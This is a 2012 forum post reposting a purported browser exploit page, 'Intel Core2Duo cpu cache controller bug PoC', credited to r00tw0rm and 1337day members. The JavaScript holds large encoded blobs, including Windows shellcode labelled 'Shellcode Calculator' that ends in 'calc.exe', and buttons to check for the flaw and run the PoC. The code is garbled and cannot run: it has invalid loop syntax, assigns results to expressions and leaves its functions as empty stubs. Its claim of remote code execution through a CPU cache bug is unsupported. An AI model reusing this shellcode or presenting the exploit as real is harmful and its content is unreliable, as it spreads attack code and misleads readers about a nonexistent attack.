ionut97 Posted July 14, 2012 Report Posted July 14, 2012 <!--1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=00 _ __ __ __ 11 /' \ __ /'__`\ /\ \__ /'__`\ 00 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 11 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 00 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 11 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 00 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 11 \ \____/ >> Exploit database separated by exploit 00 \/___/ type (local, remote, DoS, etc.) 11 10 [+] Site : 1337day.com 01 [+] Support e-mail : submit[at]1337day.com 10 01 ######################################### 10 I'm S4(uR4 member from r00tw0rm team 11 ######################################### 00-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1'''## Name : Intel Core2Duo cpu cache controller bug PoC# Date : july, 14 2012# Author : S4(uR4# Platform : all# Type : remote exploit# Web : www.r00tw0rm.com# Email : satsura@r00tw0rm.com# Credit and special thanx : Selena, nezumi # Tested on : Intel Core 2 Duo T5750, Intel Atom N270# Special thanks to : r0073r, r4dc0re, Sid3^effects, L0rd CrusAd3r, KedAns-Dz, Angel Injection, gunslinger, JF, CrosS (1337day.com)# Xenu, Versus71, alsa7r, mich4th3c0wb0y, FInnH@X, th3breacher, s3rver.exe (r00tw0rm.com)--><html> <head> <title> CPU cache controller bug exploit (Remote code exec mod poc)</title> </head></html><body><script type="text/javascript">var microcode = 257;var N_CORE = 4;var XXL = 9*1024*1024;var buf = 9437185;var p = {};var bug;var result;var n = {};function init_c(){};function engine(p, n){};function test(result){// debug: testing micro-program for the old vm, does not work now // latter comment 1: oh. my! it works! wow!// latter comment 2: it works, but it does not what it's expected to// dw buf[]={1,-3,0, -6,9,1, 13,-67,2, -69,96,3, 1,-1,4,// -3,3,5, 16,-27,6, -66,99,7, 55,-1,8, -1,-3,9, 0,-67,10};// the infinite loop will be patched on the fly because of the Intel CPU bug// addr of the test() func should be aligned by 4Kb boundary,// 1st dword will be changed to NOP, NOP, NOP, NOP// it's possible to change the kernel memory as well,// two things:// 1) alignment;// 2) the code is currently executed;//// engine() obtains the address of test(), but does not check it,// so if you replace it, you have to check the conditionals above by yourself.// also the content to overwrite. if you want to change data memory// it's supposed to be in the cache as well./*ASM: .text.globl main .type main, @functionL1: xorl %ecx, %ecxmain: pushl %ebp movl %esp, %ebp popl %ebp loop L1 ret .size main, .-mainDISASM:080483b4 <L1>:80483b4: 31 c9 xor %ecx,%ecx080483b6 <main>:80483b6: 55 push %ebp80483b7: 89 e5 mov %esp,%ebp80483b9: 5d pop %ebp80483ba: e2 f8 loop 80483b4 <L1>80483bc: c3 ret 80483bd: 90 nop80483be: 90 nop80483bf: 90 nop*/ unescape('%u31C9%u5589%uE55D%u2EF8%uC390%u9090'); return 0;}function ThreadProc(lpParameter){ engine(buf, microcode*3); return(0);}function ThreadProc_dbg(bug){ var result = 1; test(result); if (result != 1){ document.write("<h1>[+] your CPU is buggy!<h1>"); } else{ document.write("<h1>[-] your CPU isn't buggy!<h1>"); //eueeuereturn(0); }}function microcode_vm(){ var evilcode = "6B70%u6E63%u2066%u6F72%u204A%u442E%u2066%u6F72%u2049%u6E74"+ "%u656C%u2043%u6F72%u6520%u3220%u4475%u6F20%u5435%u3735%u300D%u0A28%u6329"+ "%u2053%u656C%u656E%u612F%u2F32%u3030%u372C%u2032%u3030%u3800%u2B00%u0000"+ "%u0500%u0000%u2600%u0000%u3E00%u0000%u4702%u0000%uE7FD%uFFFF%u0000%u0000"+ "%uA3FF%uFFFF%uA7FF%uFFFF%u0100%u0000%u0200%u0000%u0A00%u0000%u0200%u0000"+ "%u0100%u0000%u0900%u0000%u0300%u0000%u0400%u0000%u1400%u0000%u0400%u0000"+ "%u1F00%u0000%u2B00%u0000%u0500%u0000%u2600%u0000%u3E00%u0000%u0600%u0000"+ "%u0D00%u0000%u2500%u0000%u0700%u0000%u3000%u0000%u4000%u0000%u0800%u0000"+ "%u6B00%u0000%u8F00%u0000%u0900%u0000%uFA00%u0000%u1201%u0000%u0A00%u0000"+ "%uC901%u0000%uE101%u0000%u0B00%u0000%u0C00%u0000%u3C00%u0000%u0C00%u0000"+ "%u1700%u0000%u3300%u0000%u0D00%u0000%u0E00%u0000%u3600%u0000%u0E00%u0000"+ "%u1500%u0000%u4D00%u0000%u0F00%u0000%u6800%u0000%u8800%u0000%u1000%u0000"+ "%uD300%u0000%u1701%u0000%u1100%u0000%uF201%u0000%u3A02%u0000%u1200%u0000"+ "%uF103%u0000%u3904%u0000%u1300%u0000%uF407%u0000%u2408%u0000%u1400%u0000"+ "%uEF0F%u0000%u3B10%u0000%u1500%u0000%u961F%u0000%uCE1F%u0000%u1600%u0000"+ "%u1D00%u0000%u7500%u0000%u1700%u0000%u2000%u0000%u7000%u0000%u1800%u0000"+ "%u1B00%u0000%u7F00%u0000%u1900%u0000%u2A00%u0000%u6200%u0000%u1A00%u0000"+ "%u1900%u0000%u7100%u0000%u1B00%u0000%u3C00%u0000%u8C00%u0000%u1C00%u0000"+ "%uE700%u0000%u2301%u0000%u1D00%u0000%u9E01%u0000%uE601%u0000%u1E00%u0000"+ "%u2500%u0000%u9D00%u0000%u1F00%u0000%uD800%u0000%u1801%u0000%u2000%u0000"+ "%uA301%u0000%u2702%u0000%u2100%u0000%uE203%u0000%u6A04%u0000%u2200%u0000"+ "%uE107%u0000%u6908%u0000%u2300%u0000%uE40F%u0000%u7410%u0000%u2400%u0000"+ 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"%u5100%u0000%uD901%u0000%u7300%u0000%uD400%u0000%u4402%u0000%u7400%u0000"+ "%uCF03%u0000%u5B05%u0000%u7500%u0000%uF607%u0000%u2E09%u0000%u7600%u0000"+ "%uBD0F%u0000%u5511%u0000%u7700%u0000%u801F%u0000%u9020%u0000%u7800%u0000"+ "%u7B3E%u0000%u9F3F%u0000%u7900%u0000%u8A00%u0000%u8201%u0000%u7A00%u0000"+ "%u7900%u0000%u9101%u0000%u7B00%u0000%u9C00%u0000%u6C02%u0000%u7C00%u0000"+ "%u8703%u0000%u8304%u0000%u7D00%u0000%u7E06%u0000%u8607%u0000%u7E00%u0000"+ "%u8500%u0000%u7D02%u0000%u7F00%u0000%u7803%u0000%u7804%u0000%u8000%u0000"+ "%u8306%u0000%u8708%u0000%u8100%u0000%u820F%u0000%u8A11%u0000%u8200%u0000"+ "%u811F%u0000%u8921%u0000%u8300%u0000%u843F%u0000%u9441%u0000%u8400%u0000"+ "%u9F7F%u0000%uAB81%u0000%u8500%u0000%uA6FF%u0000%uBE01%u0100%u8600%u0000"+ "%u8DFF%u0100%uA501%u0200%u8700%u0000%uB0FF%u0300%uC001%u0400%u8800%u0000"+ "%uEBFF%u0700%u0F01%u0800%u8900%u0000%u7AFF%u0F00%u9201%u1000%u8A00%u0000"+ "%u49FF%u1F00%u6100%u2000%u8B00%u0000%u8CFE%u3F00%uBC00%u4000%u8C00%u0000"+ "%u97FF%u7F00%uB301%u8000%u8D00%u0000%u8EFF%uFF00%uB601%u0001%u8E00%u0000"+ "%u95FF%uFF01%uCD01%u0002%u8F00%u0000%uE8FF%uFF03%u0801%u0004%u9000%u0000"+ "%u53FF%uFF07%u9701%u0008%u9100%u0000%u72FF%uFF0F%uBA01%u0010%u9200%u0000"+ "%u71FF%uFF1F%uB901%u0020%u9300%u0000%u74FF%uFF3F%uA401%u0040%u9400%u0000"+ "%u6FFF%uFF7F%uBB01%u0080%u9500%u0000%u16FF%uFFFF%u4E00%u0000%u9600%u0000"+ "%u9DFE%uFFFF%uF500%u0000%u9700%u0000%uA0FF%uFFFF%uF001%u0000%u9800%u0000"+ "%u9BFF%uFFFF%uFF01%u0000%u9900%u0000%uAAFF%uFFFF%uE201%u0000%u9A00%u0000"+ "%u99FF%uFFFF%uF101%u0000%u9B00%u0000%uBCFF%uFFFF%u0C01%u0000%u9C00%u0000"+ "%u67FF%uFFFF%uA301%u0000%u9D00%u0000%u1EFF%uFFFF%u6600%u0000%u9E00%u0000"+ "%uA5FE%uFFFF%u1D00%u0000%u9F00%u0000%u58FF%uFFFF%u9801%u0000%uA000%u0000"+ "%u23FF%uFFFF%uA701%u0000%uA100%u0000%u62FF%uFFFF%uEA01%u0000%uA200%u0000"+ "%u61FF%uFFFF%uE901%u0000%uA300%u0000%u64FF%uFFFF%uF401%u0000%uA400%u0000"+ "%u7FFF%uFFFF%uCB01%u0000%uA500%u0000%u46FF%uFFFF%u9E01%u0000%uA600%u0000"+ "%u2DFF%uFFFF%u8501%u0000%uA700%u0000%u50FF%uFFFF%uE001%u0000%uA800%u0000"+ "%u4BFF%uFFFF%uEF01%u0000%uA900%u0000%u5AFF%uFFFF%uF201%u0000%uAA00%u0000"+ "%uA9FC%uFFFF%u01FE%uFFFF%uAB00%u0000%uAC00%u0000%u1C02%u0000%uAC00%u0000"+ "%uB700%u0000%u1302%u0000%uAD00%u0000%uAE00%u0000%u1602%u0000%uAE00%u0000"+ "%uB500%u0000%u6D02%u0000%uAF00%u0000%uC800%u0000%u6802%u0000%uB000%u0000"+ "%uB300%u0000%u7702%u0000%uB100%u0000%uD200%u0000%u5A02%u0000%uB200%u0000"+ "%u9100%u0000%u1902%u0000%uB300%u0000%u9400%u0000%u0402%u0000%uB400%u0000"+ "%u8F00%u0000%u1B02%u0000%uB500%u0000%uB600%u0000%u6E02%u0000%uB600%u0000"+ "%uFD00%u0000%u9503%u0000%uB700%u0000%u4001%u0000%uD003%u0000%uB800%u0000"+ "%uBB00%u0000%u5F02%u0000%uB900%u0000%uCA00%u0000%u4202%u0000%uBA00%u0000"+ "%uB900%u0000%u5102%u0000%uBB00%u0000%uDC00%u0000%uAC03%u0000%uBC00%u0000"+ "%u4701%u0000%uC303%u0000%uBD00%u0000%uBE00%u0000%u4602%u0000%uBE00%u0000"+ "%uC500%u0000%uBD03%u0000%uBF00%u0000%u3801%u0000%uB803%u0000%uC000%u0000"+ "%uC300%u0000%uC703%u0000%uC100%u0000%u4201%u0000%u4A03%u0000%uC200%u0000"+ "%u4100%u0000%u4902%u0000%uC300%u0000%u4400%u0000%u5402%u0000%uC400%u0000"+ "%u5F00%u0000%u6B02%u0000%uC500%u0000%u6600%u0000%u7E02%u0000%uC600%u0000"+ "%u4D00%u0000%u6502%u0000%uC700%u0000%u7000%u0000%u0002%u0000%uC800%u0000"+ "%u2B00%u0000%u4F02%u0000%uC900%u0000%u3A00%u0000%u5202%u0000%uCA00%u0000"+ "%u0900%u0000%uA102%u0000%uCB00%u0000%uCC00%u0000%uFC03%u0000%uCC00%u0000"+ "%u5701%u0000%u7303%u0000%uCD00%u0000%u4E00%u0000%u7602%u0000%uCE00%u0000"+ "%u5500%u0000%u0D02%u0000%uCF00%u0000%u2800%u0000%u4802%u0000%uD000%u0000"+ "%u1300%u0000%u5702%u0000%uD100%u0000%u3200%u0000%u7A02%u0000%uD200%u0000"+ "%u3100%u0000%u7902%u0000%uD300%u0000%u3400%u0000%u6402%u0000%uD400%u0000"+ "%u2F00%u0000%u7B02%u0000%uD500%u0000%uD600%u0000%u8E03%u0000%uD600%u0000"+ "%uDD01%u0000%uB504%u0000%uD700%u0000%uE007%u0000%uB00A%u0000%uD800%u0000"+ "%uDB0F%u0000%uBF12%u0000%uD900%u0000%uEA1F%u0000%uA222%u0000%uDA00%u0000"+ "%uD93F%u0000%uB142%u0000%uDB00%u0000%uFC7F%u0000%u4C82%u0000%uDC00%u0000"+ "%u27FF%u0000%u6301%u0100%uDD00%u0000%uDEFC%u0100%uA6FF%u0100%uDE00%u0000"+ "%uE501%u0000%u5D04%u0000%uDF00%u0000%u1807%u0000%u5809%u0000%uE000%u0000"+ "%uE30C%u0000%u670F%u0000%uE100%u0000%u2201%u0000%u2A03%u0000%uE200%u0000"+ "%uA100%u0000%uA903%u0000%uE300%u0000%uA401%u0000%uB404%u0000%uE400%u0000"+ "%uBF07%u0000%u8B0A%u0000%uE500%u0000%u860F%u0000%uDE12%u0000%uE600%u0000"+ "%uED1F%u0000%u4522%u0000%uE700%u0000%u103F%u0000%u2041%u0000%uE800%u0000"+ "%u8B7C%u0000%uAF7F%u0000%uE900%u0000%u9A01%u0000%uB204%u0000%uEA00%u0000"+ "%uE907%u0000%u410A%u0000%uEB00%u0000%u6C0F%u0000%uDC12%u0000%uEC00%u0000"+ "%u771F%u0000%uD322%u0000%uED00%u0000%u6E3F%u0000%uD642%u0000%uEE00%u0000"+ "%u757F%u0000%uAD82%u0000%uEF00%u0000%u08FF%u0000%u2801%u0100%uF000%u0000"+ "%uF3FC%u0100%u37FF%u0100%uF100%u0000%u1201%u0000%u1A03%u0000%uF200%u0000"+ "%uD100%u0000%u5903%u0000%uF300%u0000%u5401%u0000%uC404%u0000%uF400%u0000"+ "%u4F07%u0000%uDB0A%u0000%uF500%u0000%u760F%u0000%uAE12%u0000%uF600%u0000"+ "%u3D1F%u0000%uD522%u0000%uF700%u0000%u003F%u0000%u1041%u0000%uF800%u0000"+ "%uFB7C%u0000%u1F7F%u0000%uF900%u0000%u0A01%u0000%u0203%u0000%uFA00%u0000"+ "%uF900%u0000%u1103%u0000%uFB00%u0000%u1C01%u0000%uEC04%u0000%uFC00%u0000"+ "%u0707%u0000%u0309%u0000%uFD00%u0000%uFE0C%u0000%u060F%u0000%uFE00%u0000"+ "%u0501%u0000%uFD04%u0000%uFF00%u0000%uF806%u0000%uF808%u0000%u0001%u0000"; unescape(evilcode);}/*// THREATED IMPLEMENTATIONfunction init(){ document.write("<p>[!] Exploit Running</p><br>"); document.write("[+] Loading micro-program"); microcode_vm(); var a, id, handle; var size = 111; document.write("initializing XX thread..."); for (a=1; a < N_CORE; a++){ //code should be written for debug. }}*/function vm_engine(){ var a, dw, f1, f2, f3, fn, f0 = -1, dt = 0; for({ microcode_vm(); f1; unescape = (p + ((dt++) % n)); f2 = (p + ((dt++) % n)); f3 = (p + ((dt++) % n)); // vm + scrambler + dynamic encoder + multi-pass obfuscator fn = -1 ^ (f1 ^ f2) + ((dt + f1) ^ f2) ^ f0; // a few minutes to trigger this condition on 2.4 MHz PC if ( ((f1 ^ f2) == 0) || (f1 ^ f2 ^ f3) == 0) { // a sync problem. it would be better to use locks over here. // crash happens. crash is not shit. crash means code works. // so, should be really care about the addr and the content? // it works for Intel Core 2 Duo T5750. o_o 5 ~ 10 minutes of // it gives BSOD on Intel Atom N270 cpu o_o less than an hour f3 = test(result); f1 = unescape("%u9090%u9090") ^ f0 + // Shellcode Calculator unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800"+ "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" + "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" + "%u652E%u6578%u9000"); f2 = test ^ fn; document.write("<br><br>w00t! w00t! u g0t r00t ?!<br>"); } (p + (f3 % n)) = fn; f0 = fn; /* f0 = fn ^ dt */ ; }}function demo(){ var n; document.write("HITB 2008 missing exploit :=) by Selena<br><br>"); document.write("micro-code is written by Selena<br>"); document.write("virtual machine is designed by Selena<br>"); document.write("virtual machine is designed by Selena<br>"); document.write("virtual machine has been rewritten by nezumi<br><br>"); document.write("exploit PoC rewritten by S4(uR4 for remote atack demo 2012<br><br>"); //setTimeout(9000); document.write("[!]<b> Exploit Running"); vm_engine(); //if (n == 0) { init_t();} ; //if(result != 0){ document.write("<br><b>[+] Done!"); //}}</script><h1>CPU cache controller bug exploit Remote code exec mod</h1><button onClick="ThreadProc_dbg(bug)";><b>• Check vuln</b> »</button> <button onClick="demo()";><b>PoC Run!</b> ?</button></body># 1337day.com [2012-07-13] 1 Quote
